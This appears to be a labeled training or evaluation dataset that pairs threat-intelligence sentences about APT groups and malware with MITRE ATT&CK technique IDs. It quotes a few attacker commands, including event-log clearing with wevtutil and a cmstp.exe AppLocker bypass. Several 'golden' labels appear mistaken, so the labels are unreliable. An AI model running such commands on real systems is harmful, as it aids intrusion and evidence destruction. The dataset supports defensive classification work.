"APT41 has obtained and used tools such as Mimikatz, pwdump, PowerSploit, and Windows Credential Editor.",['T1588.002 - Tool'],golden
Blue Mockingbird has obtained and used tools such as Mimikatz.,['T1588.002 - Tool'],golden
"Chimera has obtained and used tools such as BloodHound, Cobalt Strike, Mimikatz, and PsExec.",['T1588.002 - Tool'],golden
"Cleaver has obtained and used open-source tools such as PsExec, Windows Credential Editor, and Mimikatz.",['T1588.002 - Tool'],golden
"DarkVishnya has obtained and used tools such as Impacket, Winexe, and PsExec.",['T1588.002 - Tool'],golden
"During Night Dragon, threat actors obtained and used tools such as gsecdump.",['T1588.002 - Tool'],golden
"For Operation CuckooBees, the threat actors obtained publicly-available JSP code that was used to deploy a webshell onto a compromised server.",['T1588.002 - Tool'],golden
"HEXANE has acquired, and sometimes customized, open source tools such as Mimikatz, Empire, VNC remote access software, and DIG.net.",['T1588.002 - Tool'],golden
Ke3chang has obtained and used tools such as Mimikatz.,['T1588.002 - Tool'],golden
"Lazarus Group has obtained a variety of tools for their operations, including Responder, PuTTy PSCP, Wake-On-Lan, ChromePass, and dbxcli.",['T1588.002 - Tool'],golden
"Magic Hound has obtained and used open-source penetration testing tools like Havij, sqlmap, Metasploit, and Mimikatz.",['T1588.002 - Tool'],golden
Silence has obtained and modified versions of publicly-available tools like Empire and PsExec.,['T1588.002 - Tool'],golden
Thrip has obtained and used tools such as Mimikatz and PsExec.,['T1588.002 - Tool'],golden
BlackTech has used stolen code-signing certificates for its malicious payloads.,['T1588.003 - Code Signing Certificates'],golden
"For Operation Honeybee, the threat actors stole a digital signature from Adobe Systems to use with their MaoCheng dropper.",['T1588.004 - Digital Certificates'],golden
Lazarus Group has obtained SSL certificates for their C2 domains.,['T1588.004 - Digital Certificates'],golden
Silent Librarian has obtained free Let's Encrypt SSL certificates for use on their phishing pages.,['T1588.004 - Digital Certificates'],golden
"During Operation Wocao, threat actors targeted people based on their organizational roles and privileges.",['T1589 - Gather Victim Identity Information'],golden
"Magic Hound has acquired mobile phone numbers of potential targets, possibly for mobile malware or additional phishing operations.",['T1589 - Gather Victim Identity Information'],golden
Leviathan has collected compromised credentials to use for targeting efforts.,['T1589.001 - Credentials'],golden
"LAPSUS$ has gathered employee email addresses, including personal accounts, for social engineering and initial access efforts.",['T1589.002 - Email Addresses'],golden
Magic Hound has acquired the personal email addresses of some individuals they intend to target.,['T1589.002 - Email Addresses'],golden
HAFNIUM gathered the fully qualified domain names (FQDNs) for targeted Exchange servers in the victim's environment.,['T1590 - Gather Victim Network Information'],golden
"Silent Librarian has searched victim's websites to identify the interests and academic areas of targeted individuals and to scrape source code, branding, and organizational contact information for phishing pages.",['T1594 - Search Victim-Owned Websites'],golden
Dragonfly has scanned targeted systems for vulnerable Citrix and Microsoft Exchange services.,['T1595.002 - Vulnerability Scanning'],golden
UNC2452 bypassed MFA set on OWA accounts by generating a cookie value from a previously stolen secret key.,['T1606.001 - Web Cookies'],golden
"For C0010, UNC3890 actors staged malware on their infrastructure for direct download onto a compromised system.",['T1608.001 - Upload Malware'],golden
TeamTNT executed Hildegard through the kubelet API run command and by executing commands on running containers.,['T1609 - Kubernetes Exec Into Container'],golden
Doki was run through a deployed container.,['T1610 - Deploy a container'],golden
"Siloscape maps the host’s C drive to the container by creating a global symbolic link to the host through the calling of ""NtSetInformationSymbolicLink"".",['T1611 - Escape to Host'],golden
Peirates can enumerate Kubernetes pods in a given namespace.,['T1613 - Container and Resource Discovery'],golden
Amadey does not run any tasks or install additional malware if the victim machine is based in Russia.,['T1614 - System Location Discovery'],golden
"MarkiRAT can use the ""GetKeyboardLayout"" API to check if a compromised host's keyboard is set to Persian.",['T1614.001 - System Location Discovery: System Language Discovery'],golden
S-Type has attempted to determine if a compromised system was using a Japanese keyboard via the `GetKeyboardType` API call.,['T1614.001 - System Location Discovery: System Language Discovery'],golden
"SynAck lists all the keyboard layouts installed on the victim’s system using ""GetKeyboardLayoutList"" API and checks against a hardcoded language code list. If a match if found, SynAck sleeps for 300 seconds and then exits without encrypting files.",['T1614.001 - System Location Discovery: System Language Discovery'],golden
BloodHound has the ability to collect local admin information via GPO.,['T1615 - Group Policy Discovery'],golden
Lokibot has reflectively loaded the decoded DLL into memory.,['T1620 - Reflective Code Loading'],golden
Bumblebee can search for tools used in static analysis.,['T1622 - Debugger Evasion'],golden
DRATzarus can use `IsDebuggerPresent` to detect whether a debugger is present on a victim.,['T1622 - Debugger Evasion'],golden
"can collect system information, including computer name, system manufacturer, IsDebuggerPresent state, and execution path.","['T1082 - System Information Discovery', 'T1082 - System Information Discovery']",golden
"FIN6 conducted internal reconnaissance with a Windows batch file leveraging Adfind to query Active Directory, then 7-zip to compress the results for exfiltration","['T1018 - Remote System Discovery', 'T1069 - Permission Groups Discovery']",golden
", a tool that has been used by adversaries, writes programs to the ADMIN$ network share to execute commands on remote systems.",['T1021.002 - Remote Services: SMB/Windows Admin Shares'],golden
achieves persistence by creating a shortcut in the Startup folder.,"['T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification', 'T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder']",golden
achieves persistence by using various Registry Run keys.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],golden
"A  configuration file is encrypted with a simple XOR key, 0x53.",['T1027 - Obfuscated Files or Information'],golden
actors deleted tools and batch files from victim systems.,['T1070.004 - Indicator Removal on Host: File Deletion'],golden
"actors installed a credential logger on Microsoft Exchange servers.  also leveraged the reconnaissance framework, ScanBox, to capture keystrokes.",['T1056 - Input Capture'],golden
actors mapped network drives using net use.,['T1021.002 - Remote Services: SMB/Windows Admin Shares'],golden
actors used the following command after exploiting a machine with  malware to acquire information about local networks: ipconfig /all >> %temp%\download,['T1016 - System Network Configuration Discovery'],golden
actors used the following command following exploitation of a machine with  malware to list local groups: net localgroup administrator >> %temp%\download,['T1069 - Permission Groups Discovery'],golden
added the registry value ntdll to the Registry Run key to establish persistence.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],golden
adds a sub-key under several Registry run keys.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],golden
"adds collected files to a temp.zip file saved in the %temp% folder, then base64 encodes it and uploads it to control server.","['T1560 - Archive Collected Data', 'T1486 - Data Encrypted for Impact', 'T1074 - Data Staged']",golden
adds itself to the startup folder or adds itself to the Registry key SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run for persistence.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],golden
adds permissions and remote logins to all users.,['T1098 - Account Manipulation'],golden
adds the setuid flag to a binary so it can easily elevate in the future.,['T1548.001 - Abuse Elevation Control Mechanism: Setuid and Setgid'],golden
Adversaries can direct  to upload files to the C2 Server.,['T1041 - Exfiltration Over C2 Channel'],golden
"After collecting documents from removable media,  compresses the collected files.",['T1560 - Archive Collected Data'],golden
"After compromising a victim,  discovers all running services.",['T1007 - System Service Discovery'],golden
"After data is collected by  malware, it is exfiltrated over the existing C2 channel.",['T1041 - Exfiltration Over C2 Channel'],golden
"A module in  collects information about the paths, size, and creation time of files with specific file extensions, but not the actual content of the file.",['T1083 - File and Directory Discovery'],golden
"A module in  gathers logins and passwords stored in applications on the victims, including Google Chrome, Mozilla Firefox, and several other browsers.",['T1552.001 - Unsecured Credentials: Credentials In Files'],golden
An  downloader establishes SOCKS5 connections to two separate IP addresses over TCP port 1913 and TCP port 81.,['T1571 - Non-Standard Port'],golden
An  loader Trojan saves its payload with hidden file attributes.,['T1564.001 - Hide Artifacts: Hidden Files and Directories'],golden
"appears to have functionality to sniff for credentials passed over HTTP, SMTP, and SMB.",['T1040 - Network Sniffing'],golden
A  tool can create a new Registry key under HKEY_CURRENT_USER\Software\Classes\.,['T1112 - Modify Registry'],golden
automatically collects data about the victim and sends it to the control server.,['T1119 - Automated Collection'],golden
A  variant accesses a screenshot saved in the clipboard and converts it to a JPG image.,['T1115 - Clipboard Data'],golden
A  variant can use port 127 for communications.,['T1571 - Non-Standard Port'],golden
A  variant registers as a Winlogon Event Notify DLL to establish persistence.,['T1547.004 - Boot or Logon Autostart Execution: Winlogon Helper DLL'],golden
"A  variant takes screenshots by simulating the user pressing the ""Take Screenshot"" key (VK_SCREENSHOT), accessing the screenshot saved in the clipboard, and converting it to a JPG image.",['T1113 - Screen Capture'],golden
A  variant uses a custom packer.,['T1027.002 - Obfuscated Files or Information: Software Packing'],golden
A version of  introduced in July 2015 obfuscated the binary using opaque predicates and other techniques in a likely attempt to obfuscate it and bypass security products.,['T1027 - Obfuscated Files or Information'],golden
A version of  uses the MPRESS packer.,['T1027.002 - Obfuscated Files or Information: Software Packing'],golden
backdoor RoyalDNS established persistence through adding a service called Nwsapagent.,['T1543.003 - Create or Modify System Process: Windows Service'],golden
base64 encodes strings that are sent to the C2 over its DNS tunnel.,['T1001 - Data Obfuscation'],golden
binds to a raw socket on a random source port between 31800 and 31900 for C2.,['T1095 - Non-Application Layer Protocol'],golden
"can be configured to only run during normal working hours, which would make its communications harder to distinguish from normal traffic.",['T1029 - Scheduled Transfer'],golden
"can be used to act on (ex: copy, move, etc.) files/directories in a system during (ex: copy files into a staging area before).",['T1005 - Data from Local System'],golden
can be used to automate exploitation of SQL injection vulnerabilities.,['T1190 - Exploit Public-Facing Application'],golden
can be used to discover routing configuration information.,['T1016 - System Network Configuration Discovery'],golden
"can be used to display adapter configuration on Windows systems, including information for TCP/IP, DNS, and DHCP.",['T1016 - System Network Configuration Discovery'],golden
can be used to gather information on user accounts within a domain.,['T1087 - Account Discovery'],golden
can bypass UAC and create an elevated COM object to escalate privileges.,['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],golden
can capture screenshots of the desktop over multiple monitors.,['T1113 - Screen Capture'],golden
can collect system information.,['T1082 - System Information Discovery'],golden
can communicate using HTTP or HTTPS.,['T1071 - Application Layer Protocol'],golden
can compress data before sending it.,['T1560 - Archive Collected Data'],golden
can create a link to itself in the Startup folder to automatically start itself upon system restart.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],golden
can create a reverse shell that utilizes statically-linked Wine cmd.exe code to emulate Windows command prompt commands.,['T1059 - Command and Scripting Interpreter'],golden
"can decrypt, unpack and load a DLL from its resources.",['T1140 - Deobfuscate/Decode Files or Information'],golden
can download additional components from the C2 server.,['T1105 - Ingress Tool Transfer'],golden
"can download a hosted ""beacon"" payload using .",['T1197 - BITS Jobs'],golden
can download and execute a file from given URL.,['T1105 - Ingress Tool Transfer'],golden
can download files.,['T1105 - Ingress Tool Transfer'],golden
can download files and upgrade itself.,['T1105 - Ingress Tool Transfer'],golden
can dump process memory and extract clear-text credentials.,['T1003 - OS Credential Dumping'],golden
can enumerate files and directories.,['T1083 - File and Directory Discovery'],golden
can enumerate registry keys.,['T1012 - Query Registry'],golden
can enumerate services.,['T1007 - System Service Discovery'],golden
can execute shell commands.,['T1059 - Command and Scripting Interpreter'],golden
can gather information about the victim proxy server.,['T1016 - System Network Configuration Discovery'],golden
can gather the username from the victim’s machine.,['T1033 - System Owner/User Discovery'],golden
can gather the victim computer name.,['T1082 - System Information Discovery'],golden
can inject content into lsass.exe to load a module.,['T1055 - Process Injection'],golden
can install as a Windows service for persistence.,['T1543.003 - Create or Modify System Process: Windows Service'],golden
can list directory contents.,['T1083 - File and Directory Discovery'],golden
can obtain a list of running processes on the system.,['T1057 - Process Discovery'],golden
can obtain a list of users.,['T1087 - Account Discovery'],golden
can obtain information about network parameters.,['T1016 - System Network Configuration Discovery'],golden
can obtain the victim time zone.,['T1124 - System Time Discovery'],golden
can perform audio capture.,['T1123 - Audio Capture'],golden
can perform credential dumping.,['T1003 - OS Credential Dumping'],golden
can perform port scans from an infected host.,['T1046 - Network Service Discovery'],golden
can perform webcam viewing.,['T1125 - Video Capture'],golden
can remove itself from a system.,['T1070.004 - Indicator Removal on Host: File Deletion'],golden
can retrieve an additional payload from its C2 server.,['T1105 - Ingress Tool Transfer'],golden
can search files on a victim.,['T1083 - File and Directory Discovery'],golden
can sleep for a given number of seconds.,['T1029 - Scheduled Transfer'],golden
can SSH to a remote service.,['T1021 - Remote Services'],golden
"can start, stop, or delete services.",['T1569.002 - System Services: Service Execution'],golden
"can upload and download files, including second-stage malware.",['T1105 - Ingress Tool Transfer'],golden
"can use an add on feature when creating payloads that allows you to create custom Python scripts (“scriptlets”) to perform tasks offline (without requiring a session) such as sandbox detection, adding persistence, etc.",['T1064 - Scripting'],golden
can use a WMI script to achieve persistence.,['T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription'],golden
can use base64 encoded C2 communications.,['T1132 - Data Encoding'],golden
"can use multiple C2 channels, including RSS feeds, Github, forums, and blogs.  also collects C2 information via a dead drop resolver.",['T1102 - Web Service'],golden
can use Regsvr32 to execute additional payloads.,['T1218.010 - Signed Binary Proxy Execution: Regsvr32'],golden
can use steganography to hide malicious code downloaded to the victim.,['T1001 - Data Obfuscation'],golden
can use  to execute a payload on a remote host. It can also use Service Control Manager to start new services.,['T1569.002 - System Services: Service Execution'],golden
can use WMI to deliver a payload to a remote host.,['T1047 - Windows Management Instrumentation'],golden
captured audio and sent it out to a C2 server.,['T1123 - Audio Capture'],golden
captures images from the webcam.,['T1125 - Video Capture'],golden
checks for anti-malware products and processes.,['T1518.001 - Software Discovery: Security Software Discovery'],golden
"checks for ant-sandboxing software such as virtual PC, sandboxie, and VMware.",['T1518.001 - Software Discovery: Security Software Discovery'],golden
checks for the presence of certain security-related processes and deletes its installer/uninstaller component if it identifies any of them.,['T1518.001 - Software Discovery: Security Software Discovery'],golden
checks its directory location in an attempt to avoid launching in a sandbox.,['T1083 - File and Directory Discovery'],golden
checks the running processes on the victim’s machine.,['T1057 - Process Discovery'],golden
collects a list of available servers with the command net view.,['T1018 - Remote System Discovery'],golden
collects a list of running services with the command tasklist /v.,['T1057 - Process Discovery'],golden
collects files from the local system.,['T1005 - Data from Local System'],golden
"collects hostname, volume serial number and OS version data from the victim and sends the information to its C2 server.",['T1082 - System Information Discovery'],golden
collects information about the Internet adapter configuration.,['T1016 - System Network Configuration Discovery'],golden
collects information on bookmarks from Google Chrome.,['T1217 - Browser Bookmark Discovery'],golden
collects information on local user accounts from the victim.,['T1087 - Account Discovery'],golden
collects information on programs and services on the victim that are configured to automatically run at startup.,['T1007 - System Service Discovery'],golden
"collects lists of local accounts with administrative access, local group user accounts, and domain local groups with the commands net localgroup administrators, net localgroup users, and net localgroup /domain.",['T1069 - Permission Groups Discovery'],golden
collects registered owner details by using the commands systeminfo and net config workstation.,['T1033 - System Owner/User Discovery'],golden
"collects system information, including the operating system version and hostname.",['T1082 - System Information Discovery'],golden
collects the username from the victim.,['T1033 - System Owner/User Discovery'],golden
"collects the victim host name and serial number, and then sends the information to the C2 server.",['T1082 - System Information Discovery'],golden
"collects the victim username along with other account information (account type, description, full name, SID and status).",['T1033 - System Owner/User Discovery'],golden
collects the victim username and sends it to the C2 server.,['T1033 - System Owner/User Discovery'],golden
"collects user credentials, including passwords, for various programs and browsers, including popular instant messaging applications, Web browsers, and email clients. Windows account hashes, domain accounts, and LSA secrets are also collected, as are WLAN keys.",['T1003 - OS Credential Dumping'],golden
communicates over port 80 for C2.,['T1043 - Commonly Used Port'],golden
communicates with its C2 domain over ports 443 and 8443.,['T1043 - Commonly Used Port'],golden
contains a collection of ScriptModification modules that compress and encode scripts and payloads.,['T1027 - Obfuscated Files or Information'],golden
contains a command to list processes.,['T1057 - Process Discovery'],golden
contains a feature to manipulate process privileges and tokens.,['T1134 - Access Token Manipulation'],golden
contains a module to collect data from removable drives.,['T1025 - Data from Removable Media'],golden
contains a module to move data from airgapped networks to Internet-connected systems by using a removable USB device.,['T1052 - Exfiltration Over Physical Medium'],golden
contains a network loader to receive executable modules from remote attackers and run them on the local victim. It can also upload and download files over HTTP and HTTPS.,['T1105 - Ingress Tool Transfer'],golden
creates a backdoor through which remote attackers can list contents of drives and search for files.,['T1083 - File and Directory Discovery'],golden
creates a backdoor through which remote attackers can monitor processes.,['T1057 - Process Discovery'],golden
creates a backdoor through which remote attackers can open a command line interface.,['T1059 - Command and Scripting Interpreter'],golden
creates a backdoor through which remote attackers can read data from files.,['T1005 - Data from Local System'],golden
"creates a backdoor through which remote attackers can retrieve information such as computer name, OS version, processor speed, memory size, and CPU speed.",['T1082 - System Information Discovery'],golden
creates a file named thumb.dd on all USB flash drives connected to the victim. This file contains information about the infected system and activity logs.,['T1052 - Exfiltration Over Physical Medium'],golden
creates a scheduled task on the system that provides persistence.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],golden
CRYPTO::Extract module can extract keys by interacting with Windows cryptographic application programming interface (API) functions.,['T1552.004 - Unsecured Credentials: Private Keys'],golden
decodes the configuration data and modules.,['T1140 - Deobfuscate/Decode Files or Information'],golden
decrypts and executes shellcode from a file called Stars.jps.,['T1140 - Deobfuscate/Decode Files or Information'],golden
deletes its payload along with the payload's parent process after it finishes copying files.,['T1070.004 - Indicator Removal on Host: File Deletion'],golden
delets all artifacts associated with the malware from the infected machine.,['T1070 - Indicator Removal on Host'],golden
deobfuscates its code.,['T1140 - Deobfuscate/Decode Files or Information'],golden
"developed a file stealer to search C:\ and collect files with certain extensions.  also executed a script to enumerate all drives, store them as a list, and upload generated files to the C2 server.",['T1119 - Automated Collection'],golden
disables the Windows firewall before binding to a port.,['T1562.001 - Impair Defenses: Disable or Modify Tools'],golden
"downloads additional plug-ins to load on the victim’s machine, including the ability to upgrade and replace its own binary.",['T1105 - Ingress Tool Transfer'],golden
downloads and uploads files to and from the victim’s machine.,['T1105 - Ingress Tool Transfer'],golden
downloads another dropper from its C2 server.,['T1105 - Ingress Tool Transfer'],golden
DPAPI module can harvest protected credentials stored and/or cached by browsers and other user applications by interacting with Windows cryptographic application programming interface (API) functions.,['T1552.001 - Unsecured Credentials: Credentials In Files'],golden
"drops a malicious file (sspisrv.dll) alongside a copy of lsass.exe, which is used to register a service that loads sspisrv.dll as a driver. The payload of the malicious driver (located in its entry-point function) is executed when loaded by lsass.exe before the spoofed service becomes unstable and crashes.",['T1547.008 - Boot or Logon Autostart Execution: LSASS Driver'],golden
drops and executes a malicious CPL file as its payload.,['T1218.002 - Signed Binary Proxy Execution: Control Panel'],golden
drops files with base64-encoded data.,['T1027 - Obfuscated Files or Information'],golden
enables concurrent Remote Desktop Protocol (RDP).,['T1021.001 - Remote Services: Remote Desktop Protocol'],golden
encodes C2 communications with base64.,['T1001 - Data Obfuscation'],golden
encodes C2 traffic with single-byte XOR keys.,['T1573 - Encrypted Channel'],golden
encrypts C2 data with AES256 in ECB mode.,['T1573 - Encrypted Channel'],golden
encrypts data using Base64 before being sent to the command and control server.,['T1486 - Data Encrypted for Impact'],golden
enumerates all running processes.,['T1057 - Process Discovery'],golden
enumerates Registry keys associated with event logs.,['T1012 - Query Registry'],golden
enumerates registry keys with the command regkeyenum and obtains information for the Registry key HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run.,['T1012 - Query Registry'],golden
enumerates running processes to search for Wireshark and Windows Sysinternals suite.,['T1518.001 - Software Discovery: Security Software Discovery'],golden
establishes persistence by creating a shortcut in the Start Menu folder.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],golden
establishes persistence via a .lnk file in the victim’s startup path.,['T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification'],golden
executes batch scripts on the victim’s machine.,['T1064 - Scripting'],golden
exfiltrates data collected from the victim mobile device.,['T1005 - Data from Local System'],golden
exfiltrates data over its C2 channel.,['T1041 - Exfiltration Over C2 Channel'],golden
exfiltrates data to its C2 server over the same protocol as C2 communications.,['T1041 - Exfiltration Over C2 Channel'],golden
exfiltrates files over FTP.,['T1048 - Exfiltration Over Alternative Protocol'],golden
extracts basic information about the operating system.,['T1082 - System Information Discovery'],golden
"For C2 over HTTP,  encodes data with base64 and sends it via the ""Cookie"" field of HTTP requests. For C2 over DNS,  converts ASCII characters into their hexadecimal values and sends the data in cleartext.",['T1132 - Data Encoding'],golden
Freenki malware lists running processes using the Microsoft Windows API.,['T1057 - Process Discovery'],golden
functions as a proxy server between the victim and C2 server.,['T1090 - Proxy'],golden
gathers and beacons the MAC and IP addresses during installation.,['T1016 - System Network Configuration Discovery'],golden
gathers computer name and information using the systeminfo command.,['T1082 - System Information Discovery'],golden
"gathers credentials in files for chrome, 1password, and keychains.",['T1552.001 - Unsecured Credentials: Credentials In Files'],golden
"gathers information about the OS architecture, OS name, and OS version/Service pack.",['T1082 - System Information Discovery'],golden
gathers information on the system and local drives.,['T1082 - System Information Discovery'],golden
gathers information on victim’s drives and has a plugin for document listing.,['T1083 - File and Directory Discovery'],golden
gathers the local IP address.,['T1016 - System Network Configuration Discovery'],golden
generates a false TLS handshake using a public certificate to disguise C2 network communications.,['T1001 - Data Obfuscation'],golden
Get-MicrophoneAudio Exfiltration module can record system microphone audio.,['T1123 - Audio Capture'],golden
Get-TimedScreenshot Exfiltration module can take screenshots at regular intervals.,['T1113 - Screen Capture'],golden
harvests plain-text credentials as a password filter registered on domain controllers.,['T1556.002 - Modify Authentication Process: Password Filter DLL'],golden
has a command named $screenshot that may be responsible for taking screenshots of the victim machine.,['T1113 - Screen Capture'],golden
"has a command to collect victim system information, including the system name and OS version.",['T1082 - System Information Discovery'],golden
"has a command to create, set, copy, or delete a specified Registry key or value.",['T1112 - Modify Registry'],golden
has a command to create Registry entries for storing data under HKEY_CURRENT_USER\SOFTWARE\Microsoft\WABE\DataPath.,['T1112 - Modify Registry'],golden
has a command to return a directory listing for a specified directory.,['T1083 - File and Directory Discovery'],golden
"has a command to upload to its C2 server information about files on the victim mobile device, including SD card size, installed app list, SMS content, contacts, and calling history.",['T1083 - File and Directory Discovery'],golden
has a feature to list the available services on the system.,['T1007 - System Service Discovery'],golden
has a hard-coded primary and backup C2 string.,['T1008 - Fallback Channels'],golden
"has a module named BeetleJuice that contains Bluetooth functionality that may be used in different ways, including transmitting encoded information from the infected system over the Bluetooth protocol, acting as a Bluetooth beacon, and identifying other Bluetooth devices in the vicinity.",['T1011 - Exfiltration Over Other Network Medium'],golden
has a plugin for VNC and Ammyy Admin Tool.,['T1219 - Remote Access Software'],golden
has a tool that can delete files.,['T1070.004 - Indicator Removal on Host: File Deletion'],golden
has a tool that can obtain information about the local system.,['T1082 - System Information Discovery'],golden
has a tool that creates a new service for persistence.,['T1543.003 - Create or Modify System Process: Windows Service'],golden
has a VBScript for execution.,['T1064 - Scripting'],golden
has batch files that modify the system service COMSysApp to load a malicious DLL.,['T1543.003 - Create or Modify System Process: Windows Service'],golden
has been known to dump credentials.,['T1003 - OS Credential Dumping'],golden
has been known to side load DLLs with a valid version of Chrome with one of their tools.,['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],golden
has been seen persisting via COM hijacking through replacement of the COM object for MruPidlList {42aedc87-2188-41fd-b9a3-0c966feabec1} or Microsoft WBEM New Event Subsystem {F3130CDB-AA52-4C3A-AB32-85FFC23AF9C1} depending on the system's CPU architecture.,['T1546.015 - Event Triggered Execution: Component Object Model Hijacking'],golden
"has cleared event logs, including by using the commands wevtutil cl System and wevtutil cl Security.",['T1070 - Indicator Removal on Host'],golden
has cleared event logs from victims.,['T1070 - Indicator Removal on Host'],golden
has collected data from remote systems by mounting network shares with net use and using Robocopy to transfer data.,['T1039 - Data from Network Shared Drive'],golden
"has created password-protected RAR, WinImage, and zip archives to be exfiltrated.","['T1560 - Archive Collected Data', 'T1486 - Data Encrypted for Impact']",golden
has created scheduled tasks that run a VBScript to execute a payload on victim machines.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],golden
has delivered zero-day exploits and malware to victims by injecting malicious code into specific public Web pages visited by targets within a particular sector.,['T1189 - Drive-by Compromise'],golden
has downloaded and executed additional plugins.,['T1105 - Ingress Tool Transfer'],golden
has dropped binaries as files named microsoft_network.exe and crome.exe.,['T1036 - Masquerading'],golden
has encrypted its payload with RC4.,['T1027 - Obfuscated Files or Information'],golden
"has exploited multiple Microsoft Office and .NET vulnerabilities for execution, including CVE-2017-0199, CVE-2017-8759, and CVE-2017-11882.",['T1203 - Exploitation for Client Execution'],golden
has functionality to copy itself to removable media.,['T1091 - Replication Through Removable Media'],golden
has gathered a process list by using .exe.,['T1057 - Process Discovery'],golden
has gathered information about network IP configurations using .exe and about routing tables using .exe.,['T1016 - System Network Configuration Discovery'],golden
has has extensively used strategic Web compromises to target victims.,['T1189 - Drive-by Compromise'],golden
has leveraged both Spearphishing Link and Spearphishing Attachment attempting to gain User Execution.,['T1204 - User Execution'],golden
has lured users to click links to malicious HTML applications delivered via spearphishing emails.,['T1204 - User Execution'],golden
has obfuscated a script with Crypto Obfuscator.,['T1027 - Obfuscated Files or Information'],golden
has run ipconfig /all on a victim.,['T1016 - System Network Configuration Discovery'],golden
has sent spearphishing emails links and attachments attempting to get a user to click.,['T1204 - User Execution'],golden
has sent spearphishing emails with attachments to victims as its primary initial access vector.,['T1598.002 - Spearphishing Attachment'],golden
has sent spearphishing emails with password-protected RAR archives containing malicious Excel Web Query files (.iqy). The group has also sent spearphishing emails that contained malicious Microsoft Office documents that use the “attachedTemplate” technique to load a template from a remote server.,['T1598.002 - Spearphishing Attachment'],golden
has sent spearphising emails with malicious attachments to potential victims using compromised and/or spoofed email accounts.,['T1598.002 - Spearphishing Attachment'],golden
has sent spearphising emails with malicious links to potential victims.,['T1598.003 - Spearphishing Link'],golden
has targeted manufacturers in the supply chain for the defense industry.,['T1195 - Supply Chain Compromise'],golden
has the ability to enumerate files and drives.,['T1083 - File and Directory Discovery'],golden
has the ability to obtain a victim's system name and operating system version.,['T1082 - System Information Discovery'],golden
has the ability to remotely execute commands.,['T1059 - Command and Scripting Interpreter'],golden
has the ability to search for a given process name in processes currently running in the system.,['T1057 - Process Discovery'],golden
has the capability to delete files.,['T1070.004 - Indicator Removal on Host: File Deletion'],golden
has the capability to download files to execute on the victim’s machine.,['T1105 - Ingress Tool Transfer'],golden
has the capability to execute the command net localgroup administrators.,['T1069 - Permission Groups Discovery'],golden
has the capability to gather the OS version and computer name.,['T1082 - System Information Discovery'],golden
has the capability to obtain the time zone information and current timestamp of the victim’s machine.,['T1124 - System Time Discovery'],golden
has the capability to upload and download files to the victim's machine.,['T1105 - Ingress Tool Transfer'],golden
has used a credential stealer known as ZUMKONG that can harvest usernames and passwords stored in browsers.,['T1003 - OS Credential Dumping'],golden
"has used a plug-in to gather credentials stored in files on the host by various software programs, including The Bat! email client, Mozilla password manager, Google Chrome password manager, Outlook, Internet Explorer, and Windows Credential Store.",['T1552.001 - Unsecured Credentials: Credentials In Files'],golden
has used a tool called RarStar that encodes data with a custom XOR algorithm when posting it to a C2 server.,['T1573 - Encrypted Channel'],golden
"has used a VBScript named ""ggldr"" that uses Google Apps Script, Sheets, and Forms services for C2.",['T1102 - Web Service'],golden
has used both HTTP and HTTPS for C2.,['T1071 - Application Layer Protocol'],golden
has used CHM files to move concealed payloads as part of.,['T1218.001 - Signed Binary Proxy Execution: Compiled HTML File'],golden
has used command-line interfaces for execution.,['T1059 - Command and Scripting Interpreter'],golden
has used CVE-2016-7255 to escalate privileges.,['T1068 - Exploitation for Privilege Escalation'],golden
has used DLL side-loading to launch versions of Mimikatz and PwDump6 as well as .,['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],golden
has used FTP to exfiltrate collected data.,['T1048 - Exfiltration Over Alternative Protocol'],golden
has used HTTP and HTTPS for C2 communications.,['T1071 - Application Layer Protocol'],golden
has used JavaScript to create a shortcut file in the Startup folder that points to its main backdoor.,"['T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification', 'T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder']",golden
has used local servers with both local network and Internet access to act as internal proxy nodes to exfiltrate data from other parts of the network without direct Internet access.,['T1090 - Proxy'],golden
has used net user to conduct internal discovery of systems.,['T1087 - Account Discovery'],golden
has used net use to conduct connectivity checks to machines.,['T1049 - System Network Connections Discovery'],golden
has used PowerShell Empire.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],golden
"has used RAR to compress, encrypt, and password-protect files prior to exfiltration.","['T1560 - Archive Collected Data', 'T1486 - Data Encrypted for Impact']",golden
has used RAR to compress files before moving them outside of the victim network.,['T1560 - Archive Collected Data'],golden
has used Registry keys to detect and avoid executing in potential sandboxes.,['T1518.001 - Software Discovery: Security Software Discovery'],golden
has used Registry Run keys to establish persistence for its downloader tools known as HARDTACK and SHIPBREAD.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],golden
has used remote code execution to download subsequent payloads.,['T1105 - Ingress Tool Transfer'],golden
has used rundll32.exe in a Registry value to establish persistence.,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],golden
"has used scheduled task raw XML with a backdated timestamp of June 2, 2016.",['T1070.006 - Indicator Removal on Host: Timestomp'],golden
has used spearphishing with a link to trick victims into clicking on a link to a zip file containing malicious files.,['T1598.003 - Spearphishing Link'],golden
"has used spearphishing with links to deliver files with exploits to initial victims. The group has used embedded image tags (known as web bugs) with unique, per-recipient tracking links in their emails for the purpose of identifying which recipients opened messages.",['T1598.003 - Spearphishing Link'],golden
has used TCP port 8080 for C2.,['T1043 - Commonly Used Port'],golden
has used the command cmstp.exe /s /ns C:\Users\ADMINI~W\AppData\Local\Temp\XKNqbpzl.txt to bypass AppLocker and launch a malicious script.,['T1218.003 - Signed Binary Proxy Execution: CMSTP'],golden
has used the publicly available tool SoftPerfect Network Scanner as well as a custom tool called GOLDIRONY to conduct network scanning.,['T1046 - Network Service Discovery'],golden
